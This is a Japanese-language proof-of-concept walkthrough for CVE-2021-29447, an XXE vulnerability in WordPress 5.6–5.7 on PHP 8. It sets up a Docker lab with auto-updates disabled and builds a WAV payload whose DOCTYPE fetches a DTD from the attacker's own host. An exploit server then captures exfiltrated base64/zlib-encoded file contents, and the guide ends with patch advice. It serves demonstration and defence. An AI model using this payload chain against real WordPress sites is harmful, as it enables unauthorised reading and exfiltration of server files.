
CVE-2021-29447 は、PHP 8.0+ で実行されている WordPress バージョン 5.6~5.7(5.7.1 でパッチ適用済み)に影響する XML External Entity (XXE) インジェクションの脆弱性です。この脆弱性は、メディアメタデータの解析に使用される getID3 ライブラリに存在します。
WordPress は getID3 を介して WAV ファイルの iXML チャンクを処理します。getID3 は LIBXML_NOENT フラグを指定して simplexml_load_string() を呼び出します。このフラグは外部エンティティの置換を明示的に有効化し、PHP 8 のデフォルトの XXE 保護(非推奨の libxml_disable_entity_loader())をバイパスします。
この PoC は、Docker 化された WordPress 5.7 + PHP 8.0.3 を使用して脆弱性を実証します。Linux ユーザーは、WAV/DTD ファイルも生成する単一ファイルのスクリプトを使用できます。
▶️: https://youtu.be/YnGowuWHFyY
Windows ホストに Docker Desktop をインストールします
専用のプロジェクトディレクトリを作成します(すべての PowerShell コマンドはここで実行します):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
脆弱な WordPress をデプロイします:
#powershell
notepad docker-compose.yml
docker-compose.yml の内容をコピー&ペーストします
コンテナを起動します:
#powershell
docker-compose up -d
自動更新を無効化します(脆弱性の維持に重要):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
脆弱なバージョンを確認します:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
期待される結果: WordPress 5.7、PHP 8.0+
WordPress のインストール:
アクセス: http://localhost:8080
管理者: test / test / [email protected]
セットアップを完了 → /wp-admin にアクセス
攻撃者 IP の確認:
#powershell
ipconfig | findstr IPv4
自身の IP をメモします(例: 192.168.1.196)
DTD ペイロードを作成します:
#powershell
notepad evil.dtd
evil.dtd の内容をコピー&ペーストします
WAV ペイロードを生成します(Linux CLI):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
python3 -m http.server 8000 で転送 → Windows ブラウザでダウンロード(例: http://<VM_IP>:8000)
注: Windows 環境ではバイナリエスケープの扱いが複雑なため、WAV は別途作成します
エクスプロイトサーバーをデプロイします:
#powershell
notepad exploit.py
exploit.py の内容をコピー&ペーストします
コマンド:
#powershell
python exploit.py -l YOUR_IP -p PORT
XXE をトリガーします:
http://localhost:8080/wp-admin → メディア → 新規追加
payload.wav をアップロードします
Python サーバーのコンソールを監視 -> 外部へ漏えいしたデータをキャプチャします
Base64+Zlib ペイロードをデコードします:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
WordPress 5.7.1+ にアップグレードするか、getID3 の解析時に LIBXML_NOENT を無効にします。